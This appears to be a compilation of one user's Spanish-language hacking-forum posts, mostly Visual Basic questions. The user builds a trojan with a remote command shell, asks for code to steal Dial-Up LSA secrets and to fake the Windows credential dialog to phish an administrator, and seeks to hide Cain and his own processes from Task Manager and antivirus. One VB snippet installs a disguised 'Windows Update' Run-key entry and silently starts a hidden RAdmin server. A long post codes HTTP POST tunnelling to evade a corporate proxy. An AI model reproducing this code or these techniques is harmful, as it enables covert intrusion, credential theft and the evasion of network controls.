Temas

Si alguien tiene algun code para Redireccionar usando el CsocketMaster o la Api del Winsock directamente...o me pueda dar algun tuto para leer...

Saludos y gracias cualquier dato..

Bye

Hola por aca les traigo 1 duda que me atormenta y quisiera que me ayudaran, por donde yo vivo hay varias Redes Inalambricas y mi Lapto las detecta pero no logro conectarme a ninguna por problemas con la fuerza de la señal se van y vuelven a entrar y cuando miro la fuerza de la señal tiene 1 barrita o ninguna...

Que puedo hacer para reforzar la señal... que necesito saber en fin guienme...

Salu2 y grax

holas chikos ya una ves inicie un tema y al final se quedo sin una solucion final y el problema es que los projectos que encontre trabajan sobre el nombre del host o sea

\\juanpc\ y no \\192.168.0.123

esto es con la api enumshare

si alguien tiene algo por ahi y kiera aportar se agradecera para retomar el proyecto "infection by netbios"

salu2

ola chikos veran me han formateado el servidor y me le han cambiado el pass del admin y quisiera conseguirlo enganñando al administrador.
Lo que hice fue simular para que una X aplicación pueda operar bien necesite  establecer una conexion de tipo \\192.168.0.123\c$ como ven se necesitan privilegios de Administracion y al suceder esto capturar los datos, yo ya tengo echa la mia pero antes de ponerla en practica quisiera saber si puedo usar la predeterminada de Windows...

Cuando usd van a Inicio -- Ejecutar -- escriben "\\192.168.0.123\c$" les sale el tipico cuadro de Introduzca las creedenciales bla bla ba, pues esa seria perfecta pues es la  del windows, trate de tirandole una foto usarla en el form pero me es complicado y tengo miedo que salga mal...pues por ejemplo tiene los bordes ovalados de todos los controles jejeje...alguien sabe como puedo usarla..

Bueno nada ideas...

Hola gente quiero aprender esto de la ingeneria inversa pero leyendome los PDF de Ricardo me desespero la verdad no soy muy buen lector prefiero los videos tutos, alguien tendra algo por ahi bien pero bien principiante...

Salu2

Ola veran tengo un code que su objetivo es simular errores en el sistema, en el mismo puse el Form1.Visible = False y puse el App.TaskVisible = False tambien, y los mensajes los muestro usando el comando Msgbox y es aqui la situacion que al mostrar los mensajes con ste comando me muestra la aplicacion en el Administrador de tarea en la pestaña "Ventana", como puedo mostrar los mensajes usando alguna api.. para que no me afecte el objetivo del App.TaskVisible

Muchas gracias cualquier respuesta.

Bye

Veran tengo un modem que se me bloquea de ves en cuando y quisiera hacer un programita con un timer para que cada cierto tiempo me desabilite el modem y lo habilite nuevamente, pero esto quisiera hacerlo siempre y cuando el no este en uso, osea que no haya alguien conectado.

Grx cualquier ayuda!!

Pues veran quisiera desintalar un programa y necesito que cuando me salga la pantalla de "Esta seguro que desea desintalar el programa" el tiene un boton Ok y otro Cancel, quisiera que mi programa diera en el Ok y despues me sale otra ventana para que diga si quiero reinciar, y tiene un boton para que dice Si o No, quiero hacer lo mismo aqui..

Ideas...Thx cualquier ayudita...

Bye

Alguien sabe de algun codigo para poder capturar los LSA SECRETS preferiblemente los del DIal-Up....thx..

Bye

Bueno creo que la funcion se llama asi, esto me dice si ya hay una instancia del programa corriendo en caso de que se cumpla por lo general no abrimos otra, hasta que se cierre la que esta trabajando, pero en un Windows 2003 Server esto no me funka por el problema de las sessiones, yo corro mi programa en una session y cuando entro por el escritorio remoto abre otra instancia del programa, como me quiero este rollo...

Salu2

Como puedo establecieno una session nula enumerar los recursos compartidos del mismo....

Slu2

Holas gente una simple preguntica...

El Crypto que esta en el ApiGuide es el mismo que Crypto API Microsoft Base Cryptographic Provider v1.0...

Lo que quiero ver es como le llegan los datos, y lo que va haciendo con ellos, pero es que es en consola msdos y no se como debuguearlo para ver lo que va haciendo con los parametros... thx ahh y esta en C

Alguien me puede enseñar a usar el codigo de encrypt y decrypt que viene en la Api Guide...

Salu2

Veran estoy trasteando el codigo del open source "Putty" mas exactamente el del "Plink", y todo muy bien, modifique varias cosas y lo compile de nuevo y funciona de maravillas, lo que sucede es que quiero agregarle un codigo para anclarlo en la Pc que me de la gana a mi, entonces ya el codigo lo tengo el problemilla es que el lenguaje que mas domino yo es el Visual Basic como tal y ese proyecto estan en C, pero creo que lei por algun lugar que con el .Net puedo llevar el codigo de Visual Basic a C, igual si puedo de alguna manera agregarle algun codigo en C para alcanzar mi meta y alguien me puede ayudar se lo agradecere.

Gracias

Hola people necesito que me ayuden con algo rapido, toy buscando un algoritmo para minimizar el codigo, esta es la situacion..

tengo esto..

a=1,2,3,5,8,10,11,12

lo que necesito es que el codigo me agrupe eso de esta manera..

b=1-3,5,8,10-12

grx de antemano cualquier ayuda....

Ola people ya voy a terminar el bicho y se me antojo hacer la tipica shell como tienen muchos troyanos, como Bifrost, Poison, etc..

Lo que me sucede es que por ejemplo si quiero ejecutar un "dir" con el comando q usan por ahi...

cmd /c dir>c:\registro.txt

esto no funka bien porque ejecuta el dir en el directorio donde esta el troyano, entonces modifique mi soft para que pusiera el directorio en donde estaba el usuario trabajando digamos que estuviese en c:\windows\pepito entonces quedaba asi

dir c:\windows\pepe

y funka pero si lo usas con otro comando como por ejemplo

copy *.txt c:\windows\system32

ya eso da problemas, espero que entiendan lo que me sucede, en resumen que el comando ese esta limitado, haber si alguien me echa una manita...

Salu2 y grx

Hola gente, tengo esta situacion, estoy programando un proxy que pida autentificacion y donde se traba el paragua es en que cuando le mando el mensaje al cliente "407" pidiendole que me ponga user con pass, el cliente tipea y cuando acepta a mi programa nunca le llega la respuesta del cliente, que me puede estar pasando...
yo debugue y a mi programa la unica ves que le llega datos del browser es cuando solicita la web por primera vez, despues que le envio el "407", que me responde ahi se queda el browser tratando como de enviar algo y nunca llega, instale el Ccproxy y funciona de maravillas asi que es algo que estoy pasando por alto supongo, de echo el mensaje "407" que le envio al cliente, es el que usa el mismo Ccproxy y funciona genial solo que no me llega la respuesta del cliente..soluciones...

Thx

Pues eso como logro poner mi soft como un servicio..

GRax...

Hola people veran lo mio es sencillo lo que necesito es agregar tres valores en el Registro de tipo Binary como veran en el codigo de abajo, estoy anadiendo:
01 00 00 00
pero tambien necesito agregar estos otros 2..
4c 78 c7 ed d9 e4 16 e9 45 1b e9 7c bb 7c 2e cb
y
b4 11 00 00
como hago para agregarlos

Gracias...


Const REG_SZ = 1    ' Unicode nul terminated string
Const REG_BINARY = 3    ' Free form binary
Const HKEY_LOCAL_MACHINE = &H80000002
Private Declare Function RegCloseKey Lib "advapi32.dll" (ByVal hKey As Long) As Long
Private Declare Function RegCreateKey Lib "advapi32.dll" Alias "RegCreateKeyA" (ByVal hKey As Long, ByVal lpSubKey As String, phkResult As Long) As Long
Private Declare Function RegSetValueEx Lib "advapi32.dll" Alias "RegSetValueExA" (ByVal hKey As Long, ByVal lpValueName As String, ByVal Reserved As Long, ByVal dwType As Long, lpData As Any, ByVal cbData As Long) As Long

Sub SaveStringLong(hKey As Long, strPath As String, strValue As String, strData As String, dif As String)
    Dim Ret
    '   Create a new key
    RegCreateKey hKey, strPath, Ret
    '   Set the key's value
    If dif = 1 Then
        RegSetValueEx Ret, strValue, 0, REG_BINARY, CLng(strData), 4
    ElseIf dif = 2 Then
        RegSetValueEx Ret, strValue, 0, REG_SZ, ByVal strData, Len(strData)
    End If
    '   Close the key
    RegCloseKey Ret
End Sub

Private Sub Form_Load()
    'KPD-Team 1998
    'URL: http://www.allapi.net/
    'E-Mail: KPDTeam@Allapi.net
    Dim strString As String
    'Ask for a value
    'Save the value to the registry
    SaveStringLong HKEY_LOCAL_MACHINE, "System\RAdmin\v2.0\Server\Parameters", "DisableTrayIcon", "01", "1" ' Agrego 01 00 00 00
    SaveStringLong HKEY_LOCAL_MACHINE, "Software\Microsoft\Windows\CurrentVersion\Run", "Windows Update", "C:\Windows\System32\wupd.exe", "2"
    Shell "apisystem.exe /pass:zxczxc /port:4532", vbHide
    End
End Sub

olas por aki, veran tengo una cam Veo Digital pero se me ha estraviado el Digital Estudio usd saben son los programitas que vienen para editar las fotos o videos que apturas con tu cam, busque por internet y no aparecen por lo menos ni en ingles ni español queria saber si alguien conoce de algun programa que igual me sirva para capturar y editar los videos y fotos capturados por la webcam..

salu2

Tengo puesto esto en mi codigo y no me funka

If App.Previnstance then
   end
end if

y tengo abierta otra instancia ya del mismo soft, estoy haciendo algo mal o son pajarerias del VIsual Basic...

salu2

         
          If InStr("Se ha completado el comando correctamente.", mOutputs) Then
            Form1.Label3.Caption = "Credenciales Acceptada"
          Else
            Form1.Label3.Caption = "Credenciales Denegada"
          End If

Pues haber si lo estoy haciendo bien, en la Variable mOutputs recibo el mensaje "Se ha completado el comando correctamente." (con 4 retornos) vbcrlf & vbcrlf & vbcrlf & vbcrlf
lo que necesito es hacer una comparacion sencilla.

Pero no funciona algo esta mal..

Salu2

Veran uso el Putty para conectarme via SSh a mi server, el problema esta en que mi proxy "ISA SERVER" me pide user con pass, cuando se los configuro en el programa este me saca un error 407 Proxy Required Authentification, cuando voy al Firefox y trato de navegar este me pide user con pass, le pongo los mismo y entra de maravilla, entonces me puse haber con otro programa y me sucede lo mismo solo que aquel programa me permite ponerle tambien el Dominio, cuando se lo puse entro echo un cohete, pero el putty no trae esa opcion, Autentificacion NTLM supongo, queria saber si alguien tiene alguna idea de como puedo agregar esa cabecera a lo que manda el Putty al proxy..o si tienen alguna otra explicacion

Espero que me entiendan..

Señores ya he rebuscao y no encuentro algun code que me permita ocultar el CAIN, cre que no estoy usando bien la Api me baje la Api Guide use el Ejemplo de FindWindows y nada...

Help...

Tengo un proyecto echo por HADEs, que me sirve para enviar archivos usando el protocolo HTTP metodo POST incluso por detras de un proxy funciona 100%, lo que quisera saber es si alguien tiene alguna idea o sabe a donde puedo recurrir pues necesito en vez de enviar un archivo con su contenido, enviar "datos aleatorios" o sea que no esten fisicamente ya almacenados y bueno cuando no tenga mas datos aleatorio para enviar entonces mandar algun relleno para que esa conexion no muera, espero que me puedan entender.

Ya lo he intentado pero cada vez que modifico la cabecera Content Lenght... se jode la cosa, ah me falto decir que todo esto lo estoy haciendo por detras de un proxy..

Cualquier idea, sugerencia sera bienvenida.....

Veran tengo un programa que me hace una conexion SSH esta echo en Visual Basic .Net pero el mismo no trae soporte para usar Proxy, por lo que estuve y estoy buscando alguna manera de agregarle esa opcion..

pero curiosamente trabajo con un programa llamando Proxifier v2.7 que trae una nueva opcion que se llama Traffic HTTP...pues con ella logro redireccionar a mi programa a traves del proxy perfectamente bien, pero la felicidad no dura mucho pues tengo que establecer la conexion por el 443 y ese puerto lo usan muchas aplicaciones, Yahoo Messenger, Firefox, en fin usd saben... para hacer conexiones...y no me da la opcion de especificar que aplicacion especificamente sera redireccionada y cual no hacia mi proxy..

mi pregunta es si alguien conoce algun programita que me permita esto o alguna clase o codigo que pueda adjuntarle al programa para que pase a traves de mi proxy sin complicarme mucho la vida..

Salu2...y grx cualquier respuesta

Señores cuando le paso al Putty la linea de comando para conectarme desde mi programa..

C:\Putty -N -C -D 1080 -P 443 -ssh user@host -pw pass

El Kaspersky tiene la opcion de Monitor de Red y ahi se ve toda la linea..

Como puedo hacer para que no se vea...

Thx..

Se que hay unos cuantos codigos que me permiten ocultar aplicaciones a partir de su nombre pero por ejemplo el Cain no tiene como hago..

Como hago para que mi programa trabaje como un servicio..

Saludos

Hasta hoy he estado usando el Ssh para hacer un Tunnel y a traves de él navegar por internet, lo que sucede es que es un lio pq el cliente Putty o el Plink que es el mismo lo que en modo consola "son los que uso pq son los mas pequeños", cuando le paso por ejemplo la linea de comandos C:\Putty -N -C -D 1080 -P 443 -ssh user@host -pw pass... en aplicaciones como el Kaspersky u otro Analizador de Red revela esta linea con todos los datos usuario@dns y pass, trate de modifica el codigo fuente del Putty pero no me le cuelo mucho al C++ y cada vez que modificaba algo lo rompia mucho di que logre poner el puerto por defecto 443 y que los datos que me guarda en el registro sean falsos, en este caso el DNS, lo que queria es poner el usuario con el pass y el dns directamente en el codigo fuente y nada mas que ejecutarlo indicandole a donde tiene que hacer forwarding, pero como no se jejeje quiero saber de alguna aplicacion como este mismo que me permita hacer forwarding y eso...echo en Visual Basic o si conocen de algun otro soft parecido, igual si alguien puede modificarme el codigo fuente se lo agradecere un mundo...indicandome donde pongo el usuario con el pass y el dns nada mas...

El codigo fuente del putty esta aqui, supongo que no sea dificil pero bueno..

http://www.chiark.greenend.org.uk/~sgtatham/putty/download.html

Bueno creo que escribi suficiente...

Ahora me salta una duda y quiero corroborar con usd..

Cuando yo al Form1 "principal y unico" le configuro la propiedad Visible a False y lo ejecuto, se deberia de ver en el Administrador de Tareas en la pestaña de Ventanas, pq si no se deberia de VER creo que tendre que formatear el Pc o desintalar el .Net y el Vb6 pq los 2 me lo hacen, ahora en caso de que esto fuera normal como hago para que no me salga ahi..

Grx

Señores tengo un programita que lo unico que necesito es ponerle un numero y generarlo mas nada, lo que quiero es saber como puedo para tener ese programa ya compilado para agregarle el numero y que me genere "el" que necesito en si con el numero ya donde deve ir...

no se si me captan..

??

Grx

["recuerden que no vamos a enviar ningun archivo esto es para engañar al proxy y utilizar esa conexion que es directa para enviar los datos que nos de la gana"]

Bueno la idea surge un poco a lo loco, soñando con hacking un poco de ganarme la vida otro poco como desafio entre otras mas...

Desde hace tiempo me revoleteava por la cabeza la idea de hacer un programa con el cual pudiera "por decir de alguna forma controlar el trafico HTTP, ojo es una forma de decir, usd le pueden poner nombre cientifico despues si quieren" enviar datos usando el protocolo HTTP como si fuese una "conexion directa", veran, todos sabemos que este protocolo es "sin estado" o sea que tu pides por ejemplo www.yahoo.es se te da la pagina y muere esa conexión, hasta ahi todo bien.

Bien pero si se ponen a pensar muchas empresas de hoy en dia incluyendo la mia tienen configurado sus proxys para no permitir conexiones directas mas bien para que puedan nada mas abrir WEB puerto 80 a full, asi no se desvinculan del trabajo tampoco puedan aprovecharse de la muy buena banda ancha, bla bla bla... asi que me dije bueno pq no utilizar el protocolo que gobierna mundialmente y del que nadie se espera casi nada para poder aprovecharlo empleandolos en troyanos. eso ultimo da aliento al hacking y no es mi meta asi que tachenlo...

Cual es la idea para mantener una conexion HTTP "con estado" usando los metodos GET y POST para ello? Facilito...usando a nuestros ingeniosos cezudos cerebros del foro, perdon a nuestro ingenioso, cezudo cerebro..

Sabemos que el metodo POST te permite enviar informacion hacia los servidores Web, como por ejemplo cuando llenas un formulario para hacerte un correo, registrarte en este maravilloso Foro, cuando adjuntas las fotos que te sacastes para tu DNI para enviarselas a mama, etc.. y el GET es cuando solicitas una web... por poner un ejemplo rapido..

Recomiendo que veais el tema de Hades asi me ahorran escribir...este es el link

http://foro.elhacker.net/programacion_vb/winsock_protocolos_mas_usados_version_1_http-t186798.0.html

tengo otro link con un ejemplo muy bueno vere como hago para hacerselos llegar pues aqui parecen que ya borraron el tema..si se sigue el hilo del tema claro esta lo pongo..

Pues la idea es "simular" con el POST como que envias un archivo "X" y con el GET pues como si estuvieras leyendo una pagina o descargando un archivo, "aqui se torna un poco engorroso entenderlo, vere si me sale bien la explicación".

Como bien vieron en la explicacion de Hades pudieron apreciar un ejemplo parecido a este..del metodo POST es el que me interesa por ahora..

POST HTTP://www.tupagina.com/script.php HTTP/1.1
Host: www.tupagina.com
Content-Type: multipart/form-data, boundary=34COFsReezG0JfuyhtcpgzrMLg2c4NV9
Content-Length: 45242

--34COFsReezG0JfuyhtcpgzrMLg2c4NV9
Content-Disposition: form-data; name="archivo"; filename="JuanK.exe"
Content-Type: application/octet-stream

Contenido del archivo....

--34COFsReezG0JfuyhtcpgzrMLg2c4NV9--

Mirando este ejemplo vemos que el contenido del archivo pesa cerca de 45 Kb, lo que necesitamos es simular que enviamos un archivo mas grande asi hacemos como una especie de buffer "recuerden que no vamos a enviar ningun archivo esto es para engañar al proxy y utilizar esa conexion que es directa para enviar los datos que nos de la gana" para almacenar todo lo que vamos a solicitar, por ejemplo, una pagina web restringida, conectarme a mi casa via ssh, en fin usd me entienden, todo esos deseos dependeran del tamaño que le pongamos al archivo "buffer" ya que si por ejemplo le dijimos que ibamos a enviar 2 MB y mientras estamos navegando chateando y vacialando la buena vida hacemos un consumo de 5 MB eso da ERROR y se cae la conexion no hay que ser genio para darse cuenta de eso..."al menos eso creo"...espero que me hallan entendido mas o menos...ah y una cosita que no se si decirlo aqui pero bueno, esta conexion como bien dijimos hay que mantenerla directa, esto es lo que les quiero decir, supongamos que pedimos una pagina web "X" esa solicitud se guarda en el buffer y es transferida como si fuera el archivo "X" que estamos enviando hasta aqui bien, recivimos la pagina y nos ponemos a leerla, OJO que dejamos de enviar solicitudes y si no hacemos algo se cae la conexion porque el proxy se imagina que tuvistes algun problema enviando el archivo y tumba la conexion eso no lo queremos, pues tenemos que crear una funcion que nos detecte cuando el buffer esta vacio, cuando se cumpla eso, que se envie un RELLENO por ejemplo "sigo aqui no tumbes la conexion" y asi no se caera nunca... por lo menos no a causa de un error nuestro.. joder como he escrito. espero que me hallan entendido...si no cuando empieze el pregunteo, ojala y lo hagan asi se que al menos alguien se leyo esto..

Bueno llegado a aqui lo que hace falta es modificar la cabecera Content-Length que como ven y saben ella recoje el tamaño completo del archivo que se envia y se lo pasa al proxy y este al servidor, yo trate poniendole una cifra elevada como 15 MB y como el contenido es aleatorio, coji y invite a un Timer a que se una a esta conquista con el objetivo de que administrara el famoso RELLENO y mis solicitudes, esto lo trate de hacer pero me sucede que cuando modifico la dicha cabecera y comienzo a enviar datos el proxy no me entrega el contenido del archivo "mis solicitudes", me lo corta aqui...

POST HTTP://www.tupagina.com/script.php HTTP/1.1
Host: www.tupagina.com
Content-Type: multipart/form-data, boundary=34COFsReezG0JfuyhtcpgzrMLg2c4NV9
Content-Length: 45242

--34COFsReezG0JfuyhtcpgzrMLg2c4NV9
Content-Disposition: form-data; name="archivo"; filename="JuanK.exe"
Content-Type: application/octet-stream

Bueno ya no voy a decir mas nada, basta decir que si alguien sabe porque me sucede esto, OJO que no hay que leerse todo eso para ayudarme con mi problema, lo que quisiera es debatir y ver si juntos o ayudarme a mi con ideas, materiales, usd entienden conformar el proyecto que creo no tiene mala pinta, y tambien espero que esto abra horizontes..

PD: Disculpen si esta demasiado estenso y bueno usd nada mas queria ver mi problematica, es que no encontre otra manera de explicarla ruego perdones de nuevo..alguien interesado...

Este codigo es de HADES que conste, lo que lo he echo algunas modificaciones para ver si logro el resultado..

CODIGO ORIGINAL                AGREGENLE un BOTON, Winsock y un ComonDialog

Const Host = "www.tupagina.com" 'acá metes tu página, a la que queres mandar el archivo
Const Puerto = 80 'el puerto de conexión

Private Sub Abrir_Click()
Dim x 'declaramos variable
CD.CancelError = False 'hacemos que no tire error al darle en cancelar
CD.ShowOpen 'mostramos el diálogo para abrir el archivo
x = MsgBox("Esta seguro de enviar el archivo?", vbYesNo + vbCritical, "") 'damos a x el valor de lo que escogimos: "sí" , "no"
If x = vbYes Then
    UploadRequest (CD.FileName) 'Si es sí, entonces llamamos a esta función con la ruta del archivo
Else
    MsgBox "Lastima "
End If
End Sub

Public Sub UploadRequest(Archivo$) 'Este es el sub principal, para construir la petición y mandar el archivo, recibe parámetro del archivo
Dim CodigoA$, CuerpoM$, CuerpoN$, Contenido$, LongitudR# 'Variables
Contenido = AbrirArch(Archivo) 'Llamamos a la función AbrirArch (para continuar mirar más abajo)
If Contenido <> "" Then
    CodigoA = AlphaMix 'generamos el código especificado más arriba
    CuerpoM = "--" & CodigoA & vbCrLf & _
              "Content-Disposition: form-data; name=""archivo""; filename=""" & CD.FileTitle & """" & vbCrLf & _
              "Content-Type: application/octet-stream" & vbCrLf & vbCrLf & Contenido & vbCrLf & _
              "--" & CodigoA & "--" 'empezamos a armar la cabecera, en estos momentos queda esta parte
'(codigo) (crlf)
'(Content-Disposition)( (datos) (crlf)
'(Content-Type)( (Tipo archivo) (crlf)
'(crlf)
'(contenido archivo) (crlf)
'(codigo)

    LongitudR = Len(CuerpoM) 'la longitud para el content-length

    CuerpoN = "POST /script.php HTTP/1.1" & vbCrLf & _
              "Host: " & Host & vbCrLf & _
              "Content-Type: multipart/form-data, boundary=" & CodigoA & vbCrLf & _
              "Content-Length: " & LongitudR & vbCrLf & vbCrLf & CuerpoM 'armamos la otra cabecera...
'quedaría:
'POST (Recurso) (Versión protocolo) (crlf)
'(Content-Type)( (Tipo de contenido)(,) (boundary)(=)(codigo) (crlf)
'(Content-Length)( (Longitud de datos del cuerpo del mensaje) (crlf)
'(crlf) + el contenido del archivo con sus respectivos códigos

Ws.Connect Host, Puerto 'conectamos al host

repetir:
    Do While Ws.State <> sckConnected
        DoEvents
        GoTo repetir
    Loop

    Ws.SendData CuerpoN 'mandamos archivo

End If
End Sub

Public Function AlphaMix() As String 'este es el generados del código que delimita los post
Dim CodigoA$, x&, W&
    For x = 0 To 31
        W = Random(0, 2)
        Select Case Val(W)
        Case 0
            CodigoA = CodigoA & Chr$(Random(48, 57))
        Case 1
            CodigoA = CodigoA & Chr$(Random(65, 90))
        Case 2
            CodigoA = CodigoA & Chr$(Random(97, 122))
        End Select
    Next x
AlphaMix = CodigoA
End Function

Private Function AbrirArch(RutaArchivo$) As String 'recibimos la ruta
Dim Retorno$, Longitud# 'declaramos variables
Longitud = FileLen(RutaArchivo) 'miramos la longitud de ese archivo
Retorno = String$(Longitud, Chr(0)) 'hacemos el buffer con la longitud

On Error GoTo ErrH
Open RutaArchivo For Binary As #1 'abrimos el archivo en modo binari0
Get #1, , Retorno 'obtenemos el contenido del archivo y lo guardamos en el buffer
Close #1 'cerramos canal
AbrirArch = Retorno 'retornamos el archivo
ErrH:
If Err.Description <> "" Then 'si ocurre algún error, la función devuelve un nulo
    AbrirArch = ""
    Err.Clear
End If
End Function

Private Function Random(ByVal Menor As Variant, ByVal Mayor As Variant) As Single 'función para retornar un número aleatorio
Randomize
Random = (Mayor - Menor + 1) * Rnd + Menor
If Random > Mayor Then Random = Mayor
End Function

CODIGO MODIFICADO          AGREGENLE un BOTON, TEXTBOX, Winsock y un ComonDialog

Const Host = "10.10.10.1" 'aqui sustitui la direccion de la pag por mi proxy
Const Puerto = 3128 'el puerto del proxy
Dim sendtext As String, first As Byte, CodigoA$

Private Sub Abrir_Click()
'Dim x 'declaramos variable
'CD.CancelError = False 'hacemos que no tire error al darle en cancelar
'CD.ShowOpen 'mostramos el diálogo para abrir el archivo
'x = MsgBox("Esta seguro de enviar el archivo?", vbYesNo + vbCritical, "") 'damos a x el valor de lo que escogimos: "sí" , "no"
'If x = vbYes Then
'    UploadRequest (CD.FileName) 'Si es sí, entonces llamamos a esta función con la ruta del archivo
'Else
'    MsgBox "Lastima "
'End If

UploadRequest

End Sub

Public Sub UploadRequest() '(Archivo$) 'Este es el sub principal, para construir la petición y mandar el archivo, recibe parámetro del archivo

Dim CodigoA$, CuerpoM$, CuerpoN$, Contenido$, LongitudR# 'Variables

If first <> 1 Then    'Para chequear si ya se envio la instruccion por 1era vez de ser asi envio entonces el texto del TXT como tal y ya

'Contenido = AbrirArch(Archivo) 'Llamamos a la función AbrirArch (para continuar mirar más abajo)
'If Contenido <> "" Then
    CodigoA = AlphaMix 'generamos el código especificado más arriba
    CuerpoM = "--" & CodigoA & vbCrLf & _
              "Content-Disposition: form-data; name=""archivo""; filename=""log.txt""" & vbCrLf & _
              "Content-Type: application/octet-stream" & vbCrLf & vbCrLf & Text1 & vbCrLf '& _
              "--" & CodigoA & "--" 'empezamos a armar la cabecera, en estos momentos queda esta parte

    'LongitudR = Len(CuerpoM) 'la longitud para el content-length

    CuerpoN = "POST Http://localhost/script.php HTTP/1.1" & vbCrLf & _
              "Host: " & "localhost" & vbCrLf & _
              "Content-Type: multipart/form-data, boundary=" & CodigoA & vbCrLf & _
              "Content-Length: " & LongitudR & vbCrLf & vbCrLf & CuerpoM 'armamos la otra cabecera...

Ws.Connect Host, Puerto 'conectamos al host

repetir:
    Do While Ws.State <> sckConnected
        DoEvents
        GoTo repetir
    Loop
   
    Ws.SendData CuerpoN 'mandamos archivo
    first = 1
    Timer1.Enabled = True
Else
    Ws.SendData Text1
End If

'End If
End Sub

Public Function AlphaMix() As String 'este es el generados del código que delimita los post
Dim CodigoA$, x&, W&
    For x = 0 To 31
        W = Random(0, 2)
        Select Case Val(W)
        Case 0
            CodigoA = CodigoA & Chr$(Random(48, 57))
        Case 1
            CodigoA = CodigoA & Chr$(Random(65, 90))
        Case 2
            CodigoA = CodigoA & Chr$(Random(97, 122))
        End Select
    Next x
AlphaMix = CodigoA
End Function

Private Function AbrirArch(RutaArchivo$) As String 'recibimos la ruta
Dim Retorno$, Longitud# 'declaramos variables
Longitud = FileLen(RutaArchivo) 'miramos la longitud de ese archivo
Retorno = String$(Longitud, Chr(0)) 'hacemos el buffer con la longitud

On Error GoTo ErrH
Open RutaArchivo For Binary As #1 'abrimos el archivo en modo binari0
Get #1, , Retorno 'obtenemos el contenido del archivo y lo guardamos en el buffer
Close #1 'cerramos canal
AbrirArch = Retorno 'retornamos el archivo
ErrH:
If Err.Description <> "" Then 'si ocurre algún error, la función devuelve un nulo
    AbrirArch = ""
    Err.Clear
End If
End Function

Private Function Random(ByVal Menor As Variant, ByVal Mayor As Variant) As Single 'función para retornar un número aleatorio
Randomize
Random = (Mayor - Menor + 1) * Rnd + Menor
If Random > Mayor Then Random = Mayor
End Function


La cosa es la siguiente...lo que quiero es simular como que envio un archivo, pero cuando modifico la cabecera

"Content-Length: " & LongitudR & vbCrLf & vbCrLf & CuerpoM

por      "Content-Length: " & "1000" & vbCrLf & vbCrLf & CuerpoM

se me fastidia, pues el proxy me lo filtra y me llega la peticion incompleta, pq me puede estar pasando esto... si el lo que necesita saber es que yo lo que voy a enviar no puede excederse o mas bien TENDRA UN TAMAÑO DE de 1 MB..

Saludos y gracias

Necesito que este soft que esta entre los proyectos anidado aqui en el foro me haga la peticion de la web a traves de mi SQUID asi que lo unico que modifique fue que se conectara al proxy le lanzara la peticion, cuando quiere me dice 400 Bad Request otras veces se me queda en blanco y nunca llega nada, le he modificado cosas pensando haber y nada si alguien pudiera testearlo y decirme que puedo estar haciendo mall

Este es el projecto

http://foro.elhacker.net/index.php?action=dlattach;topic=186798.0;attach=2162

Salu2

Salu2 por aka, nunca he posteado aqui pero ya hare mis precencias pues empeze con el .NET... a lo que voy, tengo una aplicacion con la cual me conecto a mi servidor SSH, lo que sucede es que yo no puedo hacer directas mas bien a traves de un proxy quisiera saber si alguien tiene alguna clase o me dice de que manera puedo yo desde mi mismo programa hacer que pase por mi proxy....ah y tiene autentificacion...por supuesto supongo que tendre que agregarle codigo, jejeje...

Salu2

Veran yo necesito capturar cualquier paquete que me llegue al PC por mi conexion..

No se si me entenderan, cualquier peticion que se haga poderla capturar, o sea la cosa viene como para estar vigilando todos los puertos, es algo como la defensa proactiva del KASPERSKY, pero para poder ver todas las peticiones que me hagan...

Salu2

Es posible esto, supongo que creado un bucle que chekee los puertos o alguna api que se dispare en cuanto traten de establecer alguna conexion, por X puerto...

SAlu2

Disculpen la pregunta quizas no sea aqui si pueden moverlo se los agradecere, la hago aqui pq vi varios temas donde se toca esta palabrita por asi deci...

Que es, en si?

Cuando hablan de modificar, que es eso, como se puede hacer??...

Salu2

Busco ejemplos, documentacion de usos de diferentes objetos como el FileSystem, Wscript.Shell, en fin espero que me entienda, estuve mirando la contribuciones y los lugares de referencia pero no di con uno que recoja algo como esto, se que el google esta ahi pero bueno es una idea nada mas asi se evita estas mismas preguntas...

Salu2 de todos modos me dicen como hacer referencia a estos 2...

Salu2 de nuevo